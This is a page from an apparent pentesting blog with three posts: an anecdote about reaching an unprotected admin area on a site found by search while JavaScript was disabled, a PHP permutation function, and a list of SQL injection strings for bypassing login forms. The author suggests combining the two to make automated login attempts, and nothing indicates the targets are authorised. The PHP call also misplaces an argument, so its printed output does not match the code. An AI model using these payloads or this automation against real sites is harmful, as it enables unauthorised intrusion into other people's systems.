Skip to content

Pentesting reports

Notes on penetration testing journeys

Category: Bypass login

Keep JavaScript disabled, and strange things could happen

Posted on 2019/02/01 by trouble

Have you ever surfed the web with JavaScript disabled? It is another web, faster for sure. It is a must if you’re surfing the Tor network. It is a strong suggestion even when surfing the clearnet. JavaScript can expose some personal info about us, it is a fact.

Well long story short, some days ago I was looking for login forms to bypass and as usual I was browsing with JavaScript disabled. I’ve opened the next google result and boom! The admin area was in front of me! Wait… where is the login form? I’ve tried to enable JavaScript and… There is the login form. So, disabling JS again would let me enter the admin area. The easiest exploit ever done.

 

Posted in Bypass loginTagged bypass login, javascript, javascript disabled, js, no javascript, no js

PHP: permutations

Posted on 2019/01/08 - 2019/01/08 by trouble

The following function calculates the permutations of a given list (typically an array) and lets you group the results by a given number. This is useful when automatically testing login forms bypass, using the strings you can find on this post.

<?php

function permutations($pool, $r = null) {
    $n = count($pool);
    if ($r == null) $r = $n;
    if ($r > $n) return;
    $indices = range(0, $n - 1);
    $cycles = range($n, $n - $r + 1, -1);
    yield array_slice($pool, 0, $r);
    if ($n <= 0) return; while (true) { $exit_early = false; for ($i = $r;$i--;$i >= 0) {
            $cycles[$i]-= 1;
            if ($cycles[$i] == 0) {
                if ($i < count($indices)) {
                    $removed = array_splice($indices, $i, 1);
                    array_push($indices, $removed[0]);
                }
                $cycles[$i] = $n - $i;
            } else {
                $j = $cycles[$i];
                $i_val = $indices[$i];
                $neg_j_val = $indices[count($indices) - $j];
                $indices[$i] = $neg_j_val;
                $indices[count($indices) - $j] = $i_val;
                $result = [];
                $counter = 0;
                foreach ($indices as $indx) {
                    array_push($result, $pool[$indx]);
                    $counter++;
                    if ($counter == $r) break;
                }
                yield $result;
                $exit_early = true;
                break;
            }
        }
        if (!$exit_early) break;
    }
}

$result = iterator_to_array(permutations(array("a","b","c","d","e", 2));
foreach ($result as $row)
    print implode(" || ", $row) . PHP_EOL;
echo count($result);
?>

The above code will output the following:

a || b
a || c
a || d
a || e
b || a
b || c
b || d
b || e
c || a
c || b
c || d
c || e
d || a
d || b
d || c
d || e
e || a
e || b
e || c
e || d
20
Posted in Bypass login, PHP snippetsTagged permutations, php

Common strings used to bypass login forms

Posted on 2019/01/08 - 2019/02/01 by trouble

Following are the most common strings used to bypass vulnerable login forms.

or 1=1
or 1=1--
or 1=1#
or 1=1/*
' or 1=1
' or 1=1--
' or 1=1#
" or 1=1
" or 1=1--
" or 1=1#
" or 1=1/*
' or 'a'='a
') or ('a'='a
" or "a"="a
") or ("a"="a
' or 1=1 limit 1 -- -+
'=' 'OR'

You can use this script to generate permutations and make automatic login attempts.

Posted in Bypass loginTagged bypass, bypass login form, sql injection, strings

Music from Soundcloud

Pages

  • Manifesto
  • Get in touch

Categories

  • Arbitrary file download
  • Bash one-liners
  • Bypass login
  • PHP snippets

RSS feed: RSS Feed from Exploit DB RSS Feed from Exploit DB

  • [remote] CVE-2026-42167 - ProFTPD mod_sql post-authentication SQLi - RCE
  • [remote] PCMan 2.0.7 - Buffer Overflow
  • [webapps] Linuxfabrik monitoring_plugins_6.0.0 - SSRF
  • [webapps] Nodemailer 9.0.0 - File Read/ SSRF
  • [webapps] flyto-core 2.26.7 - Arbitrary File Write
  • [dos] NanaZip 6.5 - DoS
  • [remote] D-Link DNS_340L - OS Command Injection
  • [remote] ipTIME A3004T - Remote Code Execution
  • [webapps] Duplicati 2.2.0.3 - JWT Signing Key Leak
  • [dos] Nmap 7.99 - Extension Header Integer Underflow

RSS feed: RSS Feed from Packetstorm RSS Feed from Packetstorm

RSS feed: Rss Feed from Nist Rss Feed from Nist

Proudly powered by WordPress | Theme: micro, developed by DevriX.